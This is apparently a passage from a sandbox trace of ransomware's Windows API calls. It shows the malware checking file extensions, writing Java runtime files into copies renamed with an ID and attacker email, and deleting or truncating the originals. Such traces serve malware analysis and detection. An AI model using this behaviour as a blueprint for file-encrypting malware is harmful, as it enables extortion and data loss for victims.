	[0173.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0173.819] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1
	[0173.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.820] lstrlenW (lpString=".doc") returned 4
	[0173.820] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.820] lstrlenW (lpString=".docx") returned 5
	[0173.820] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0173.820] lstrlenW (lpString=".pdf") returned 4
	[0173.820] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.820] lstrlenW (lpString=".xls") returned 4
	[0173.820] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.820] lstrlenW (lpString=".xlsx") returned 5
	[0173.820] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0173.820] lstrlenW (lpString=".ppt") returned 4
	[0173.820] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.820] lstrlenW (lpString=".zip") returned 4
	[0173.820] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.820] lstrlenW (lpString=".rar") returned 4
	[0173.820] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.821] lstrlenW (lpString=".bz2") returned 4
	[0173.821] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.821] lstrlenW (lpString=".7z") returned 3
	[0173.821] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.821] lstrlenW (lpString=".dbf") returned 4
	[0173.821] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.821] lstrlenW (lpString=".1cd") returned 4
	[0173.821] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.821] lstrlenW (lpString=".jpg") returned 4
	[0173.821] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.821] lstrlenW (lpString=".doc") returned 4
	[0173.821] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.821] lstrlenW (lpString=".docx") returned 5
	[0173.821] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0173.821] lstrlenW (lpString=".pdf") returned 4
	[0173.821] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.821] lstrlenW (lpString=".xls") returned 4
	[0173.821] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.821] lstrlenW (lpString=".xlsx") returned 5
	[0173.821] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0173.821] lstrlenW (lpString=".ppt") returned 4
	[0173.821] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.821] lstrlenW (lpString=".zip") returned 4
	[0173.821] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.822] lstrlenW (lpString=".rar") returned 4
	[0173.822] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.822] lstrlenW (lpString=".bz2") returned 4
	[0173.822] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.822] lstrlenW (lpString=".7z") returned 3
	[0173.822] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.822] lstrlenW (lpString=".dbf") returned 4
	[0173.822] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.822] lstrlenW (lpString=".1cd") returned 4
	[0173.822] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54
	[0173.822] lstrlenW (lpString=".jpg") returned 4
	[0173.822] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.822] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.822] lstrlenW (lpString="jfxrt.jar") returned 9
	[0173.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0173.823] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=18246297) returned 1
	[0173.823] CloseHandle (hObject=0x5b8) returned 1
	[0173.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20
	[0173.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0173.823] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.824] lstrlenW (lpString=".doc") returned 4
	[0173.824] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.824] lstrlenW (lpString=".docx") returned 5
	[0173.824] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0173.824] lstrlenW (lpString=".pdf") returned 4
	[0173.824] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.824] lstrlenW (lpString=".xls") returned 4
	[0173.824] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.824] lstrlenW (lpString=".xlsx") returned 5
	[0173.824] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0173.824] lstrlenW (lpString=".ppt") returned 4
	[0173.824] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.824] lstrlenW (lpString=".zip") returned 4
	[0173.824] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.824] lstrlenW (lpString=".rar") returned 4
	[0173.824] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.824] lstrlenW (lpString=".bz2") returned 4
	[0173.824] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.824] lstrlenW (lpString=".7z") returned 3
	[0173.824] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.824] lstrlenW (lpString=".dbf") returned 4
	[0173.824] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.824] lstrlenW (lpString=".1cd") returned 4
	[0173.824] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.824] lstrlenW (lpString=".jpg") returned 4
	[0173.824] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.825] lstrlenW (lpString=".doc") returned 4
	[0173.825] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0173.825] lstrlenW (lpString=".docx") returned 5
	[0173.825] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0173.825] lstrlenW (lpString=".pdf") returned 4
	[0173.825] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0173.825] lstrlenW (lpString=".xls") returned 4
	[0173.825] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0173.825] lstrlenW (lpString=".xlsx") returned 5
	[0173.825] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0173.825] lstrlenW (lpString=".ppt") returned 4
	[0173.825] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0173.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.825] lstrlenW (lpString=".zip") returned 4
	[0173.825] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0173.825] lstrlenW (lpString=".rar") returned 4
	[0173.825] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0173.825] lstrlenW (lpString=".bz2") returned 4
	[0173.825] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0173.825] lstrlenW (lpString=".7z") returned 3
	[0173.825] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0173.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.825] lstrlenW (lpString=".dbf") returned 4
	[0173.825] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0173.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.825] lstrlenW (lpString=".1cd") returned 4
	[0173.825] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0173.825] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0173.826] lstrlenW (lpString=".jpg") returned 4
	[0173.826] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0173.826] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0173.826] lstrlenW (lpString="localedata.jar") returned 14
	[0173.826] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.999] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=2204781) returned 1
	[0173.999] CloseHandle (hObject=0x580) returned 1
	[0173.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20
	[0173.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0174.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.329] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.329] lstrlenW (lpString=".doc") returned 4
	[0174.329] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.329] lstrlenW (lpString=".docx") returned 5
	[0174.329] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0174.329] lstrlenW (lpString=".pdf") returned 4
	[0174.329] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.329] lstrlenW (lpString=".xls") returned 4
	[0174.329] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.330] lstrlenW (lpString=".xlsx") returned 5
	[0174.330] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0174.330] lstrlenW (lpString=".ppt") returned 4
	[0174.330] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.330] lstrlenW (lpString=".zip") returned 4
	[0174.330] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.330] lstrlenW (lpString=".rar") returned 4
	[0174.330] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.330] lstrlenW (lpString=".bz2") returned 4
	[0174.330] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.330] lstrlenW (lpString=".7z") returned 3
	[0174.330] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.330] lstrlenW (lpString=".dbf") returned 4
	[0174.330] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.330] lstrlenW (lpString=".1cd") returned 4
	[0174.330] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.330] lstrlenW (lpString=".jpg") returned 4
	[0174.330] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.330] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.330] lstrlenW (lpString=".doc") returned 4
	[0174.330] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0174.330] lstrlenW (lpString=".docx") returned 5
	[0174.330] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1
	[0174.330] lstrlenW (lpString=".pdf") returned 4
	[0174.330] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0174.330] lstrlenW (lpString=".xls") returned 4
	[0174.331] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0174.331] lstrlenW (lpString=".xlsx") returned 5
	[0174.331] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1
	[0174.331] lstrlenW (lpString=".ppt") returned 4
	[0174.331] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0174.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.331] lstrlenW (lpString=".zip") returned 4
	[0174.331] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0174.331] lstrlenW (lpString=".rar") returned 4
	[0174.331] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0174.331] lstrlenW (lpString=".bz2") returned 4
	[0174.331] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0174.331] lstrlenW (lpString=".7z") returned 3
	[0174.331] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0174.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.331] lstrlenW (lpString=".dbf") returned 4
	[0174.331] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0174.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.331] lstrlenW (lpString=".1cd") returned 4
	[0174.331] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0174.331] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57
	[0174.331] lstrlenW (lpString=".jpg") returned 4
	[0174.331] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0174.331] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0174.331] lstrlenW (lpString="sunjce_provider.jar") returned 19
	[0174.331] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0174.422] GetFileSizeEx (in: hFile=0x5b8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=280161) returned 1
	[0174.422] CloseHandle (hObject=0x5b8) returned 1
	[0174.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20
	[0174.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0174.522] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0174.608] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.608] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.608] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0174.749] GetLastError () returned 0x0
	[0174.749] ReadFile (in: hFile=0x5b8, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x44661, lpOverlapped=0x0) returned 1
	[0174.761] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x44670, lpOverlapped=0x0) returned 1
	[0174.767] ReadFile (in: hFile=0x5b8, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.768] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0174.768] SetEndOfFile (hFile=0x5b4) returned 1
	[0174.768] CloseHandle (hObject=0x5b4) returned 1
	[0174.768] SetFilePointerEx (in: hFile=0x5b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.768] SetEndOfFile (hFile=0x5b8) returned 1
	[0174.777] CloseHandle (hObject=0x5b8) returned 1
	[0174.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0175.047] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.357] lstrlenW (lpString=".doc") returned 4
	[0175.357] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0175.357] lstrlenW (lpString=".docx") returned 5
	[0175.357] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0175.357] lstrlenW (lpString=".pdf") returned 4
	[0175.357] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0175.357] lstrlenW (lpString=".xls") returned 4
	[0175.357] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0175.357] lstrlenW (lpString=".xlsx") returned 5
	[0175.357] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0175.357] lstrlenW (lpString=".ppt") returned 4
	[0175.357] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.357] lstrlenW (lpString=".zip") returned 4
	[0175.357] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0175.357] lstrlenW (lpString=".rar") returned 4
	[0175.357] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0175.357] lstrlenW (lpString=".bz2") returned 4
	[0175.357] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0175.357] lstrlenW (lpString=".7z") returned 3
	[0175.357] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.357] lstrlenW (lpString=".dbf") returned 4
	[0175.357] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.357] lstrlenW (lpString=".1cd") returned 4
	[0175.357] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0175.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.357] lstrlenW (lpString=".jpg") returned 4
	[0175.357] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0175.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.358] lstrlenW (lpString=".doc") returned 4
	[0175.358] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0175.358] lstrlenW (lpString=".docx") returned 5
	[0175.358] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0175.358] lstrlenW (lpString=".pdf") returned 4
	[0175.358] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0175.358] lstrlenW (lpString=".xls") returned 4
	[0175.358] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0175.358] lstrlenW (lpString=".xlsx") returned 5
	[0175.358] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0175.358] lstrlenW (lpString=".ppt") returned 4
	[0175.358] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0175.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.359] lstrlenW (lpString=".zip") returned 4
	[0175.359] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0175.359] lstrlenW (lpString=".rar") returned 4
	[0175.359] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0175.359] lstrlenW (lpString=".bz2") returned 4
	[0175.359] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0175.359] lstrlenW (lpString=".7z") returned 3
	[0175.359] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0175.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.359] lstrlenW (lpString=".dbf") returned 4
	[0175.359] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0175.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.359] lstrlenW (lpString=".1cd") returned 4
	[0175.359] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0175.359] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0175.359] lstrlenW (lpString=".jpg") returned 4
	[0175.359] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0175.359] lstrcmpiW (lpString1=".bfc", lpString2=".html") returned -1
	[0175.359] lstrlenW (lpString="fontconfig.bfc") returned 14
	[0175.359] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0175.407] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3770) returned 1
	[0175.407] CloseHandle (hObject=0x5ac) returned 1
	[0175.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20
